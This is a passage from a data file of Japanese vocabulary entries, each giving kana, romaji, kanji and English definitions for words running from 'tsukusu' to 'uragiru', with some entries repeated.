construct\"\n\t},\n\n\t{\n\t\t'kana':'つくす',\n\t\t'romaji':'tsukusu',\n\t\t'kanji':'尽くす',\n\t\t'definition':\"to exhaust;to run out;to serve (a person);to befriend\"\n\t},\n\n\t{\n\t\t'kana':'つま',\n\t\t'romaji':'tsuma',\n\t\t'kanji':'妻',\n\t\t'definition':\"wife\"\n\t},\n\n\t{\n\t\t'kana':'つまむ',\n\t\t'romaji':'tsumamu',\n\t\t'kanji':'摘む',\n\t\t'definition':\"to pinch;to hold;to pick up\"\n\t},\n\n\t{\n\t\t'kana':'つまむ',\n\t\t'romaji':'tsumamu',\n\t\t'kanji':'摘む',\n\t\t'definition':\"to pinch;to hold;to pick up\"\n\t},\n\n\t{\n\t\t'kana':'つまらない',\n\t\t'romaji':'tsumaranai',\n\t\t'kanji':'詰らない',\n\t\t'definition':\"insignificant;boring;trifling\"\n\t},\n\n\t{\n\t\t'kana':'つまり',\n\t\t'romaji':'tsumari',\n\t\t'kanji':'詰まり',\n\t\t'definition':\"in short;in brief;in other words;that is to say;in the long run;after all;blockade;stuffing;ultimate\"\n\t},\n\n\t{\n\t\t'kana':'つまる',\n\t\t'romaji':'tsumaru',\n\t\t'kanji':'詰まる',\n\t\t'definition':\"1. to be blocked;to be packed; 2. to hit the ball near the handle of the bat (baseball)\"\n\t},\n\n\t{\n\t\t'kana':'つまずく',\n\t\t'romaji':'tsumazuku',\n\t\t'kanji':'躓く',\n\t\t'definition':\"to stumble;to trip\"\n\t},\n\n\t{\n\t\t'kana':'つめ',\n\t\t'romaji':'tsume',\n\t\t'kanji':'爪',\n\t\t'definition':\"fingernail or toenail;claw;talon;hoof\"\n\t},\n\n\t{\n\t\t'kana':'つめる',\n\t\t'romaji':'tsumeru',\n\t\t'kanji':'詰める',\n\t\t'definition':\"to pack;to shorten;to work out (details)\"\n\t},\n\n\t{\n\t\t'kana':'つめたい',\n\t\t'romaji':'tsumetai',\n\t\t'kanji':'冷たい',\n\t\t'definition':\"cold (to the touch);chilly;icy;freezing;coldhearted\"\n\t},\n\n\t{\n\t\t'kana':'つみ',\n\t\t'romaji':'tsumi',\n\t\t'kanji':'罪',\n\t\t'definition':\"crime;fault;indiscretion\"\n\t},\n\n\t{\n\t\t'kana':'つもり',\n\t\t'romaji':'tsumori',\n\t\t'kanji':'積もり',\n\t\t'definition':\"intention;plan\"\n\t},\n\n\t{\n\t\t'kana':'つもる',\n\t\t'romaji':'tsumoru',\n\t\t'kanji':'積もる',\n\t\t'definition':\"to pile up\"\n\t},\n\n\t{\n\t\t'kana':'つむ',\n\t\t'romaji':'tsumu',\n\t\t'kanji':'積む',\n\t\t'definition':\"to pile up;to stack\"\n\t},\n\n\t{\n\t\t'kana':'つな',\n\t\t'romaji':'tsuna',\n\t\t'kanji':'綱',\n\t\t'definition':\"rope\"\n\t},\n\n\t{\n\t\t'kana':'つながり',\n\t\t'romaji':'tsunagari',\n\t\t'kanji':'繋がり',\n\t\t'definition':\"connection;link;relationship\"\n\t},\n\n\t{\n\t\t'kana':'つながる',\n\t\t'romaji':'tsunagaru',\n\t\t'kanji':'繋がる',\n\t\t'definition':\"to be tied together;to be connected to;to be related to\"\n\t},\n\n\t{\n\t\t'kana':'つなげる',\n\t\t'romaji':'tsunageru',\n\t\t'kanji':'繋げる',\n\t\t'definition':\"to connect\"\n\t},\n\n\t{\n\t\t'kana':'つなぐ',\n\t\t'romaji':'tsunagu',\n\t\t'kanji':'繋ぐ',\n\t\t'definition':\"to tie;to fasten;to connect;to transfer (phone call)\"\n\t},\n\n\t{\n\t\t'kana':'つなみ',\n\t\t'romaji':'tsunami',\n\t\t'kanji':'津波',\n\t\t'definition':\"tsunami;tidal wave\"\n\t},\n\n\t{\n\t\t'kana':'つねに',\n\t\t'romaji':'tsuneni',\n\t\t'kanji':'常に',\n\t\t'definition':\"always\"\n\t},\n\n\t{\n\t\t'kana':'つねる',\n\t\t'romaji':'tsuneru',\n\t\t'kanji':'抓る',\n\t\t'definition':\"to pinch\"\n\t},\n\n\t{\n\t\t'kana':'つのる',\n\t\t'romaji':'tsunoru',\n\t\t'kanji':'募る',\n\t\t'definition':\"to invite;to solicit help participation etc\"\n\t},\n\n\t{\n\t\t'kana':'つっぱる',\n\t\t'romaji':'tsupparu',\n\t\t'kanji':'突っ張る',\n\t\t'definition':\"to support;to become stiff;to become taut;to thrust (ones opponent);to stick to (ones opinion);to insist on\"\n\t},\n\n\t{\n\t\t'kana':'つらなる',\n\t\t'romaji':'tsuranaru',\n\t\t'kanji':'連なる',\n\t\t'definition':\"to extend;to stretch out;to stand in a row\"\n\t},\n\n\t{\n\t\t'kana':'つらねる',\n\t\t'romaji':'tsuraneru',\n\t\t'kanji':'連ねる',\n\t\t'definition':\"to link;to join;to put together\"\n\t},\n\n\t{\n\t\t'kana':'つらぬく',\n\t\t'romaji':'tsuranuku',\n\t\t'kanji':'貫く',\n\t\t'definition':\"to go through\"\n\t},\n\n\t{\n\t\t'kana':'つれ',\n\t\t'romaji':'tsure',\n\t\t'kanji':'連れ',\n\t\t'definition':\"companion;company\"\n\t},\n\n\t{\n\t\t'kana':'つれる',\n\t\t'romaji':'tsureru',\n\t\t'kanji':'連れる',\n\t\t'definition':\"to lead;to take (a person)\"\n\t},\n\n\t{\n\t\t'kana':'つり',\n\t\t'romaji':'tsuri',\n\t\t'kanji':'釣り',\n\t\t'definition':\"fishing;angling\"\n\t},\n\n\t{\n\t\t'kana':'つり',\n\t\t'romaji':'tsuri',\n\t\t'kanji':'釣り',\n\t\t'definition':\"fishing;angling\"\n\t},\n\n\t{\n\t\t'kana':'つりあう',\n\t\t'romaji':'tsuriau',\n\t\t'kanji':'釣り合う',\n\t\t'definition':\"to balance;to be in harmony;to suit\"\n\t},\n\n\t{\n\t\t'kana':'つりがね',\n\t\t'romaji':'tsurigane',\n\t\t'kanji':'釣鐘',\n\t\t'definition':\"hanging bell\"\n\t},\n\n\t{\n\t\t'kana':'つりかわ',\n\t\t'romaji':'tsurikawa',\n\t\t'kanji':'吊り革',\n\t\t'definition':\"strap\"\n\t},\n\n\t{\n\t\t'kana':'つる',\n\t\t'romaji':'tsuru',\n\t\t'kanji':'吊る',\n\t\t'definition':\"to hang\"\n\t},\n\n\t{\n\t\t'kana':'つる',\n\t\t'romaji':'tsuru',\n\t\t'kanji':'釣る',\n\t\t'definition':\"to fish\"\n\t},\n\n\t{\n\t\t'kana':'つるす',\n\t\t'romaji':'tsurusu',\n\t\t'kanji':'吊るす',\n\t\t'definition':\"to hang\"\n\t},\n\n\t{\n\t\t'kana':'つたえる',\n\t\t'romaji':'tsutaeru',\n\t\t'kanji':'伝える',\n\t\t'definition':\"to convey;to report;to transmit;to communicate;to tell;to impart;to propagate;to teach;to bequeath\"\n\t},\n\n\t{\n\t\t'kana':'つたわる',\n\t\t'romaji':'tsutawaru',\n\t\t'kanji':'伝わる',\n\t\t'definition':\"to be handed down;to be introduced;to be transmitted;to be circulated;to go along;to walk along\"\n\t},\n\n\t{\n\t\t'kana':'つてごと',\n\t\t'romaji':'tsutegoto',\n\t\t'kanji':'伝言',\n\t\t'definition':\"verbal message;rumor;word\"\n\t},\n\n\t{\n\t\t'kana':'つとまる',\n\t\t'romaji':'tsutomaru',\n\t\t'kanji':'勤まる',\n\t\t'definition':\"to be fit for;to be equal to;to function properly\"\n\t},\n\n\t{\n\t\t'kana':'つとめ',\n\t\t'romaji':'tsutome',\n\t\t'kanji':'勤め',\n\t\t'definition':\"service;duty;business;Buddhist religious services\"\n\t},\n\n\t{\n\t\t'kana':'つとめる',\n\t\t'romaji':'tsutomeru',\n\t\t'kanji':'努める',\n\t\t'definition':\"to exert oneself;to make great effort;to try hard\"\n\t},\n\n\t{\n\t\t'kana':'つとめる',\n\t\t'romaji':'tsutomeru',\n\t\t'kanji':'務める',\n\t\t'definition':\"to serve;to fill a post;to serve under;to exert oneself;to endeavor;to be diligent;to play (the part of);to work (for)\"\n\t},\n\n\t{\n\t\t'kana':'つとめる',\n\t\t'romaji':'tsutomeru',\n\t\t'kanji':'勤める',\n\t\t'definition':\"to serve;to fill a post;to serve under;to exert oneself;to endeavor;to be diligent;to play (the part of);to work (for)\"\n\t},\n\n\t{\n\t\t'kana':'つとめさき',\n\t\t'romaji':'tsutomesaki',\n\t\t'kanji':'勤め先',\n\t\t'definition':\"place of work\"\n\t},\n\n\t{\n\t\t'kana':'つとめて',\n\t\t'romaji':'tsutomete',\n\t\t'kanji':'努めて',\n\t\t'definition':\"make an effort!;work hard!\"\n\t},\n\n\t{\n\t\t'kana':'つつ',\n\t\t'romaji':'tsutsu',\n\t\t'kanji':'銃',\n\t\t'definition':\"gun\"\n\t},\n\n\t{\n\t\t'kana':'つつ',\n\t\t'romaji':'tsutsu',\n\t\t'kanji':'筒',\n\t\t'definition':\"pipe;tube\"\n\t},\n\n\t{\n\t\t'kana':'つつく',\n\t\t'romaji':'tsutsuku',\n\t\t'kanji':'突く',\n\t\t'definition':\"1. to thrust;to strike;to attack; 2. to poke;to nudge;to pick at\"\n\t},\n\n\t{\n\t\t'kana':'つつみ',\n\t\t'romaji':'tsutsumi',\n\t\t'kanji':'包み',\n\t\t'definition':\"bundle;package;parcel;bale\"\n\t},\n\n\t{\n\t\t'kana':'つつしむ',\n\t\t'romaji':'tsutsushimu',\n\t\t'kanji':'慎む',\n\t\t'definition':\"to be careful;to be chaste or discreet;to abstain or refrain\"\n\t},\n\n\t{\n\t\t'kana':'つう',\n\t\t'romaji':'tsuu',\n\t\t'kanji':'通',\n\t\t'definition':\"connoisseur;counter for letters\"\n\t},\n\n\t{\n\t\t'kana':'つうち',\n\t\t'romaji':'tsuuchi',\n\t\t'kanji':'通知',\n\t\t'definition':\"notice;notification\"\n\t},\n\n\t{\n\t\t'kana':'つうちょう',\n\t\t'romaji':'tsuuchou',\n\t\t'kanji':'通帳',\n\t\t'definition':\"passbook\"\n\t},\n\n\t{\n\t\t'kana':'つうがく',\n\t\t'romaji':'tsuugaku',\n\t\t'kanji':'通学',\n\t\t'definition':\"commuting to school\"\n\t},\n\n\t{\n\t\t'kana':'つうじる',\n\t\t'romaji':'tsuujiru',\n\t\t'kanji':'通じる',\n\t\t'definition':\"to run to;to lead to;to communicate;to understand;to be well informed\"\n\t},\n\n\t{\n\t\t'kana':'つうじょう',\n\t\t'romaji':'tsuujyou',\n\t\t'kanji':'通常',\n\t\t'definition':\"common;general;usually\"\n\t},\n\n\t{\n\t\t'kana':'つうか',\n\t\t'romaji':'tsuuka',\n\t\t'kanji':'通貨',\n\t\t'definition':\"currency\"\n\t},\n\n\t{\n\t\t'kana':'つうか',\n\t\t'romaji':'tsuuka',\n\t\t'kanji':'通過',\n\t\t'definition':\"passage through;passing\"\n\t},\n\n\t{\n\t\t'kana':'つうかん',\n\t\t'romaji':'tsuukan',\n\t\t'kanji':'痛感',\n\t\t'definition':\"feeling keenly;fully realizing\"\n\t},\n\n\t{\n\t\t'kana':'つうきん',\n\t\t'romaji':'tsuukin',\n\t\t'kanji':'通勤',\n\t\t'definition':\"commuting to work\"\n\t},\n\n\t{\n\t\t'kana':'つうこう',\n\t\t'romaji':'tsuukou',\n\t\t'kanji':'通行',\n\t\t'definition':\"passage;passing\"\n\t},\n\n\t{\n\t\t'kana':'つうろ',\n\t\t'romaji':'tsuuro',\n\t\t'kanji':'通路',\n\t\t'definition':\"passage;pathway\"\n\t},\n\n\t{\n\t\t'kana':'つうせつ',\n\t\t'romaji':'tsuusetsu',\n\t\t'kanji':'痛切',\n\t\t'definition':\"keen;acute\"\n\t},\n\n\t{\n\t\t'kana':'つうしん',\n\t\t'romaji':'tsuushin',\n\t\t'kanji':'通信',\n\t\t'definition':\"correspondence;communication;news;signal\"\n\t},\n\n\t{\n\t\t'kana':'つうやく',\n\t\t'romaji':'tsuuyaku',\n\t\t'kanji':'通訳',\n\t\t'definition':\"interpretation\"\n\t},\n\n\t{\n\t\t'kana':'つうよう',\n\t\t'romaji':'tsuuyou',\n\t\t'kanji':'通用',\n\t\t'definition':\"popular use;circulation\"\n\t},\n\n\t{\n\t\t'kana':'つよい',\n\t\t'romaji':'tsuyoi',\n\t\t'kanji':'強い',\n\t\t'definition':\"strong;powerful;mighty;potent\"\n\t},\n\n\t{\n\t\t'kana':'つよまる',\n\t\t'romaji':'tsuyomaru',\n\t\t'kanji':'強まる',\n\t\t'definition':\"to get strong;to gain strength\"\n\t},\n\n\t{\n\t\t'kana':'つよめる',\n\t\t'romaji':'tsuyomeru',\n\t\t'kanji':'強める',\n\t\t'definition':\"to strengthen;to emphasize\"\n\t},\n\n\t{\n\t\t'kana':'つゆ',\n\t\t'romaji':'tsuyu',\n\t\t'kanji':'梅雨',\n\t\t'definition':\"rainy season;rain during the rainy season\"\n\t},\n\n\t{\n\t\t'kana':'つゆ',\n\t\t'romaji':'tsuyu',\n\t\t'kanji':'梅雨',\n\t\t'definition':\"rainy season;rain during the rainy season\"\n\t},\n\n\t{\n\t\t'kana':'つゆ',\n\t\t'romaji':'tsuyu',\n\t\t'kanji':'露',\n\t\t'definition':\"dew\"\n\t},\n\n\t{\n\t\t'kana':'チャイム',\n\t\t'romaji':'tyaimu',\n\t\t'kanji':'',\n\t\t'definition':\"chime\"\n\t},\n\n\t{\n\t\t'kana':'チャンネル',\n\t\t'romaji':'tyanneru',\n\t\t'kanji':'',\n\t\t'definition':\"a channel\"\n\t},\n\n\t{\n\t\t'kana':'チャンス',\n\t\t'romaji':'tyansu',\n\t\t'kanji':'',\n\t\t'definition':\"chance;opportunity\"\n\t},\n\n\t{\n\t\t'kana':'チェンジ',\n\t\t'romaji':'tyenzi',\n\t\t'kanji':'',\n\t\t'definition':\"change\"\n\t},\n\n\t{\n\t\t'kana':'チョーク',\n\t\t'romaji':'tyo-ku',\n\t\t'kanji':'',\n\t\t'definition':\"chock;chalk\"\n\t},\n\n\t{\n\t\t'kana':'うばう',\n\t\t'romaji':'ubau',\n\t\t'kanji':'奪う',\n\t\t'definition':\"to snatch away\"\n\t},\n\n\t{\n\t\t'kana':'うち',\n\t\t'romaji':'uchi',\n\t\t'kanji':'内',\n\t\t'definition':\"inside\"\n\t},\n\n\t{\n\t\t'kana':'うち',\n\t\t'romaji':'uchi',\n\t\t'kanji':'家',\n\t\t'definition':\"house (one's own)\"\n\t},\n\n\t{\n\t\t'kana':'うちあける',\n\t\t'romaji':'uchiakeru',\n\t\t'kanji':'打ち明ける',\n\t\t'definition':\"to be frank;to speak one's mind;to open one's heart\"\n\t},\n\n\t{\n\t\t'kana':'うちあわせ',\n\t\t'romaji':'uchiawase',\n\t\t'kanji':'打ち合わせ',\n\t\t'definition':\"business meeting;previous arrangement;appointment\"\n\t},\n\n\t{\n\t\t'kana':'うちあわせる',\n\t\t'romaji':'uchiawaseru',\n\t\t'kanji':'打ち合わせる',\n\t\t'definition':\"to knock together;to arrange\"\n\t},\n\n\t{\n\t\t'kana':'うちけし',\n\t\t'romaji':'uchikeshi',\n\t\t'kanji':'打ち消し',\n\t\t'definition':\"negation;denial;negative\"\n\t},\n\n\t{\n\t\t'kana':'うちけす',\n\t\t'romaji':'uchikesu',\n\t\t'kanji':'打ち消す',\n\t\t'definition':\"to deny;to negate;to contradict\"\n\t},\n\n\t{\n\t\t'kana':'うちきる',\n\t\t'romaji':'uchikiru',\n\t\t'kanji':'打ち切る',\n\t\t'definition':\"to stop;to abort;to discontinue;to close\"\n\t},\n\n\t{\n\t\t'kana':'うちこむ',\n\t\t'romaji':'uchikomu',\n\t\t'kanji':'打ち込む',\n\t\t'definition':\"to drive in (e.g. nail stake);to devote oneself to;to shoot into;to smash;to throw into;to cast into\"\n\t},\n\n\t{\n\t\t'kana':'うちわ',\n\t\t'romaji':'uchiwa',\n\t\t'kanji':'団扇',\n\t\t'definition':\"fan\"\n\t},\n\n\t{\n\t\t'kana':'うちわけ',\n\t\t'romaji':'uchiwake',\n\t\t'kanji':'内訳',\n\t\t'definition':\"the items;breakdown;classification\"\n\t},\n\n\t{\n\t\t'kana':'うちゅう',\n\t\t'romaji':'uchuu',\n\t\t'kanji':'宇宙',\n\t\t'definition':\"universe;cosmos;space\"\n\t},\n\n\t{\n\t\t'kana':'うで',\n\t\t'romaji':'ude',\n\t\t'kanji':'腕',\n\t\t'definition':\"arm\"\n\t},\n\n\t{\n\t\t'kana':'うでまえ',\n\t\t'romaji':'udemae',\n\t\t'kanji':'腕前',\n\t\t'definition':\"ability;skill;facility\"\n\t},\n\n\t{\n\t\t'kana':'うどん',\n\t\t'romaji':'udon',\n\t\t'kanji':'饂飩',\n\t\t'definition':\"noodles (Japanese)\"\n\t},\n\n\t{\n\t\t'kana':'うえ',\n\t\t'romaji':'ue',\n\t\t'kanji':'上',\n\t\t'definition':\"above;over;on top of;up;upper part;summit;surface;far better;higher;(in) authority;as far as ... is concerned;besides;after;emperor;sovereign;upon (examination);influence of (liquor);lord;shogun;superior;my dear (father)\"\n\t},\n\n\t{\n\t\t'kana':'うえ',\n\t\t'romaji':'ue',\n\t\t'kanji':'上',\n\t\t'definition':\"above;over;on top of;up;upper part;summit;surface;far better;higher;(in) authority;as far as ... is concerned;besides;after;emperor;sovereign;upon (examination);influence of (liquor);lord;shogun;superior;my dear (father)\"\n\t},\n\n\t{\n\t\t'kana':'うえ',\n\t\t'romaji':'ue',\n\t\t'kanji':'上',\n\t\t'definition':\"above;over;on top of;up;upper part;summit;surface;far better;higher;(in) authority;as far as ... is concerned;besides;after;emperor;sovereign;upon (examination);influence of (liquor);lord;shogun;superior;my dear (father)\"\n\t},\n\n\t{\n\t\t'kana':'うえ',\n\t\t'romaji':'ue',\n\t\t'kanji':'上',\n\t\t'definition':\"above;over;on top of;up;upper part;summit;surface;far better;higher;(in) authority;as far as ... is concerned;besides;after;emperor;sovereign;upon (examination);influence of (liquor);lord;shogun;superior;my dear (father)\"\n\t},\n\n\t{\n\t\t'kana':'うえき',\n\t\t'romaji':'ueki',\n\t\t'kanji':'植木',\n\t\t'definition':\"garden shrubs;trees;potted plant\"\n\t},\n\n\t{\n\t\t'kana':'うえる',\n\t\t'romaji':'ueru',\n\t\t'kanji':'飢える',\n\t\t'definition':\"to starve\"\n\t},\n\n\t{\n\t\t'kana':'うえる',\n\t\t'romaji':'ueru',\n\t\t'kanji':'植える',\n\t\t'definition':\"to plant;to grow\"\n\t},\n\n\t{\n\t\t'kana':'うえした',\n\t\t'romaji':'ueshita',\n\t\t'kanji':'上下',\n\t\t'definition':\"high and low;up and down;unloading and loading;praising and blaming\"\n\t},\n\n\t{\n\t\t'kana':'うがい',\n\t\t'romaji':'ugai',\n\t\t'kanji':'含嗽',\n\t\t'definition':\"gargle;rinse mouth\"\n\t},\n\n\t{\n\t\t'kana':'うごかす',\n\t\t'romaji':'ugokasu',\n\t\t'kanji':'動かす',\n\t\t'definition':\"to move;to shift;to set in motion;to operate;to inspire;to rouse;to influence;to mobilize;to deny;to change\"\n\t},\n\n\t{\n\t\t'kana':'うごき',\n\t\t'romaji':'ugoki',\n\t\t'kanji':'動き',\n\t\t'definition':\"movement;activity;trend;development;change\"\n\t},\n\n\t{\n\t\t'kana':'うごく',\n\t\t'romaji':'ugoku',\n\t\t'kanji':'動く',\n\t\t'definition':\"to move;to stir;to shift;to shake;to swing;to operate;to run;to go;to work;to be touched;to be influenced;to waver;to fluctuate;to vary;to change;to be transferred\"\n\t},\n\n\t{\n\t\t'kana':'ウイスキー',\n\t\t'romaji':'uisuki-',\n\t\t'kanji':'',\n\t\t'definition':\"whisky\"\n\t},\n\n\t{\n\t\t'kana':'うじ',\n\t\t'romaji':'uji',\n\t\t'kanji':'氏',\n\t\t'definition':\"family name\"\n\t},\n\n\t{\n\t\t'kana':'うかべる',\n\t\t'romaji':'ukaberu',\n\t\t'kanji':'浮かべる',\n\t\t'definition':\"to float;to express;to look (sad glad)\"\n\t},\n\n\t{\n\t\t'kana':'うかぶ',\n\t\t'romaji':'ukabu',\n\t\t'kanji':'浮かぶ',\n\t\t'definition':\"to float;to rise to surface;to come to mind\"\n\t},\n\n\t{\n\t\t'kana':'うかがう',\n\t\t'romaji':'ukagau',\n\t\t'kanji':'伺う',\n\t\t'definition':\"to visit;to ask;to inquire;to hear;to be told;to implore (a god for an oracle)\"\n\t},\n\n\t{\n\t\t'kana':'うかる',\n\t\t'romaji':'ukaru',\n\t\t'kanji':'受かる',\n\t\t'definition':\"to pass (examination)\"\n\t},\n\n\t{\n\t\t'kana':'うけいれ',\n\t\t'romaji':'ukeire',\n\t\t'kanji':'受け入れ',\n\t\t'definition':\"receiving;acceptance\"\n\t},\n\n\t{\n\t\t'kana':'うけいれる',\n\t\t'romaji':'ukeireru',\n\t\t'kanji':'受け入れる',\n\t\t'definition':\"to accept;to receive\"\n\t},\n\n\t{\n\t\t'kana':'うけみ',\n\t\t'romaji':'ukemi',\n\t\t'kanji':'受身',\n\t\t'definition':\"passive;passive voice\"\n\t},\n\n\t{\n\t\t'kana':'うけもち',\n\t\t'romaji':'ukemochi',\n\t\t'kanji':'受け持ち',\n\t\t'definition':\"charge (of something);matter in one's charge\"\n\t},\n\n\t{\n\t\t'kana':'うけもつ',\n\t\t'romaji':'ukemotsu',\n\t\t'kanji':'受け持つ',\n\t\t'definition':\"to take (be in) charge of\"\n\t},\n\n\t{\n\t\t'kana':'うける',\n\t\t'romaji':'ukeru',\n\t\t'kanji':'受ける',\n\t\t'definition':\"to undertake;to accept;to take (lesson test damage);to undergo;to experience;to catch (e.g. a ball);to become popular\"\n\t},\n\n\t{\n\t\t'kana':'うけたまわる',\n\t\t'romaji':'uketamawaru',\n\t\t'kanji':'承る',\n\t\t'definition':\"to hear;to be told;to know\"\n\t},\n\n\t{\n\t\t'kana':'うけとめる',\n\t\t'romaji':'uketomeru',\n\t\t'kanji':'受け止める',\n\t\t'definition':\"to catch;to stop the blow;to react to;to take\"\n\t},\n\n\t{\n\t\t'kana':'うけとり',\n\t\t'romaji':'uketori',\n\t\t'kanji':'受け取り',\n\t\t'definition':\"receipt\"\n\t},\n\n\t{\n\t\t'kana':'うけとる',\n\t\t'romaji':'uketoru',\n\t\t'kanji':'受け取る',\n\t\t'definition':\"to receive;to get;to accept;to take;to interpret;to understand\"\n\t},\n\n\t{\n\t\t'kana':'うけつぐ',\n\t\t'romaji':'uketsugu',\n\t\t'kanji':'受け継ぐ',\n\t\t'definition':\"to inherit;to succeed;to take over\"\n\t},\n\n\t{\n\t\t'kana':'うけつけ',\n\t\t'romaji':'uketsuke',\n\t\t'kanji':'受付',\n\t\t'definition':\"receipt;acceptance;reception (desk);information desk\"\n\t},\n\n\t{\n\t\t'kana':'うけつける',\n\t\t'romaji':'uketsukeru',\n\t\t'kanji':'受け付ける',\n\t\t'definition':\"to be accepted;to receive (an application)\"\n\t},\n\n\t{\n\t\t'kana':'うっかり',\n\t\t'romaji':'ukkari',\n\t\t'kanji':'',\n\t\t'definition':\"carelessly;thoughtlessly;inadvertently\"\n\t},\n\n\t{\n\t\t'kana':'うく',\n\t\t'romaji':'uku',\n\t\t'kanji':'浮く',\n\t\t'definition':\"to float;to become merry;to become loose\"\n\t},\n\n\t{\n\t\t'kana':'うま',\n\t\t'romaji':'uma',\n\t\t'kanji':'馬',\n\t\t'definition':\"1. horse; 2. promoted bishop (shogi)\"\n\t},\n\n\t{\n\t\t'kana':'うまい',\n\t\t'romaji':'umai',\n\t\t'kanji':'甘い',\n\t\t'definition':\"delicious\"\n\t},\n\n\t{\n\t\t'kana':'ウーマン',\n\t\t'romaji':'u-man',\n\t\t'kanji':'',\n\t\t'definition':\"woman\"\n\t},\n\n\t{\n\t\t'kana':'うまれ',\n\t\t'romaji':'umare',\n\t\t'kanji':'生まれ',\n\t\t'definition':\"birth;birth-place\"\n\t},\n\n\t{\n\t\t'kana':'うまれる',\n\t\t'romaji':'umareru',\n\t\t'kanji':'生まれる',\n\t\t'definition':\"to be born\"\n\t},\n\n\t{\n\t\t'kana':'うまれつき',\n\t\t'romaji':'umaretsuki',\n\t\t'kanji':'生まれつき',\n\t\t'definition':\"by nature;by birth;native\"\n\t},\n\n\t{\n\t\t'kana':'うめ',\n\t\t'romaji':'ume',\n\t\t'kanji':'梅',\n\t\t'definition':\"plum;plum-tree;lowest (of a three-tier ranking system)\"\n\t},\n\n\t{\n\t\t'kana':'うめぼし',\n\t\t'romaji':'umeboshi',\n\t\t'kanji':'梅干',\n\t\t'definition':\"dried plum\"\n\t},\n\n\t{\n\t\t'kana':'うめこむ',\n\t\t'romaji':'umekomu',\n\t\t'kanji':'埋め込む',\n\t\t'definition':\"to bury\"\n\t},\n\n\t{\n\t\t'kana':'うみ',\n\t\t'romaji':'umi',\n\t\t'kanji':'海',\n\t\t'definition':\"sea;beach\"\n\t},\n\n\t{\n\t\t'kana':'うみ',\n\t\t'romaji':'umi',\n\t\t'kanji':'海',\n\t\t'definition':\"sea;beach\"\n\t},\n\n\t{\n\t\t'kana':'うみじ',\n\t\t'romaji':'umiji',\n\t\t'kanji':'海路',\n\t\t'definition':\"sea route\"\n\t},\n\n\t{\n\t\t'kana':'うむ',\n\t\t'romaji':'umu',\n\t\t'kanji':'有無',\n\t\t'definition':\"yes or no;existence;flag indicator (comp);presence or absence marker\"\n\t},\n\n\t{\n\t\t'kana':'うむ',\n\t\t'romaji':'umu',\n\t\t'kanji':'産む',\n\t\t'definition':\"to give birth;to deliver;to produce\"\n\t},\n\n\t{\n\t\t'kana':'うん',\n\t\t'romaji':'un',\n\t\t'kanji':'運',\n\t\t'definition':\"fortune;luck\"\n\t},\n\n\t{\n\t\t'kana':'うん',\n\t\t'romaji':'un',\n\t\t'kanji':'',\n\t\t'definition':\"yeah;uh huh\"\n\t},\n\n\t{\n\t\t'kana':'うながす',\n\t\t'romaji':'unagasu',\n\t\t'kanji':'促す',\n\t\t'definition':\"to urge;to press;to suggest;to demand;to stimulate;to quicken;to incite;to invite (attention to)\"\n\t},\n\n\t{\n\t\t'kana':'うなる',\n\t\t'romaji':'unaru',\n\t\t'kanji':'唸る',\n\t\t'definition':\"to groan;to moan;to roar;to howl;to growl;to hum;to buzz;to sough\"\n\t},\n\n\t{\n\t\t'kana':'うなずく',\n\t\t'romaji':'unazuku',\n\t\t'kanji':'頷く',\n\t\t'definition':\"to nod;to bow one's head in assent\"\n\t},\n\n\t{\n\t\t'kana':'うんちん',\n\t\t'romaji':'unchin',\n\t\t'kanji':'運賃',\n\t\t'definition':\"freight rates;shipping expenses;fare\"\n\t},\n\n\t{\n\t\t'kana':'うんどう',\n\t\t'romaji':'undou',\n\t\t'kanji':'運動',\n\t\t'definition':\"motion;exercise\"\n\t},\n\n\t{\n\t\t'kana':'うんえい',\n\t\t'romaji':'unei',\n\t\t'kanji':'運営',\n\t\t'definition':\"management;administration;operation\"\n\t},\n\n\t{\n\t\t'kana':'うんが',\n\t\t'romaji':'unga',\n\t\t'kanji':'運河',\n\t\t'definition':\"canal;waterway\"\n\t},\n\n\t{\n\t\t'kana':'うんめい',\n\t\t'romaji':'unmei',\n\t\t'kanji':'運命',\n\t\t'definition':\"fate\"\n\t},\n\n\t{\n\t\t'kana':'うんぬん',\n\t\t'romaji':'unnun',\n\t\t'kanji':'云々',\n\t\t'definition':\"and so on;and so forth;comment\"\n\t},\n\n\t{\n\t\t'kana':'うんぱん',\n\t\t'romaji':'unpan',\n\t\t'kanji':'運搬',\n\t\t'definition':\"transport;carriage\"\n\t},\n\n\t{\n\t\t'kana':'うんそう',\n\t\t'romaji':'unsou',\n\t\t'kanji':'運送',\n\t\t'definition':\"shipping;marine transportation\"\n\t},\n\n\t{\n\t\t'kana':'うんてん',\n\t\t'romaji':'unten',\n\t\t'kanji':'運転',\n\t\t'definition':\"operation;motion;driving\"\n\t},\n\n\t{\n\t\t'kana':'うぬぼれ',\n\t\t'romaji':'unubore',\n\t\t'kanji':'自惚れ',\n\t\t'definition':\"pretension;conceit;hubris\"\n\t},\n\n\t{\n\t\t'kana':'うんよう',\n\t\t'romaji':'unyou',\n\t\t'kanji':'運用',\n\t\t'definition':\"making use of;application;investment;practical use\"\n\t},\n\n\t{\n\t\t'kana':'うんゆ',\n\t\t'romaji':'unyu',\n\t\t'kanji':'運輸',\n\t\t'definition':\"transportation\"\n\t},\n\n\t{\n\t\t'kana':'うんざり',\n\t\t'romaji':'unzari',\n\t\t'kanji':'',\n\t\t'definition':\"tedious;boring;being fed up with\"\n\t},\n\n\t{\n\t\t'kana':'うお',\n\t\t'romaji':'uo',\n\t\t'kanji':'魚',\n\t\t'definition':\"fish\"\n\t},\n\n\t{\n\t\t'kana':'うお',\n\t\t'romaji':'uo',\n\t\t'kanji':'魚',\n\t\t'definition':\"fish\"\n\t},\n\n\t{\n\t\t'kana':'うら',\n\t\t'romaji':'ura',\n\t\t'kanji':'末',\n\t\t'definition':\"top end;tip\"\n\t},\n\n\t{\n\t\t'kana':'うら',\n\t\t'romaji':'ura',\n\t\t'kanji':'裏',\n\t\t'definition':\"reverse side;wrong side;back;undersurface;inside;palm;sole;opposite;rear;lining;last half (of an inning)\"\n\t},\n\n\t{\n\t\t'kana':'うら',\n\t\t'romaji':'ura',\n\t\t'kanji':'末',\n\t\t'definition':\"top end;tip\"\n\t},\n\n\t{\n\t\t'kana':'うらがえし',\n\t\t'romaji':'uragaeshi',\n\t\t'kanji':'裏返し',\n\t\t'definition':\"inside out;upside down\"\n\t},\n\n\t{\n\t\t'kana':'うらがえす',\n\t\t'romaji':'uragaesu',\n\t\t'kanji':'裏返す',\n\t\t'definition':\"to turn inside out;to turn the other way;to turn (something) over\"\n\t},\n\n\t{\n\t\t'kana':'うらぎる',\n\t\t'romaji':'uragiru',\n\t\t'kanji':'裏切る',\n\t\t'definition':\"to betray;to turn traitor 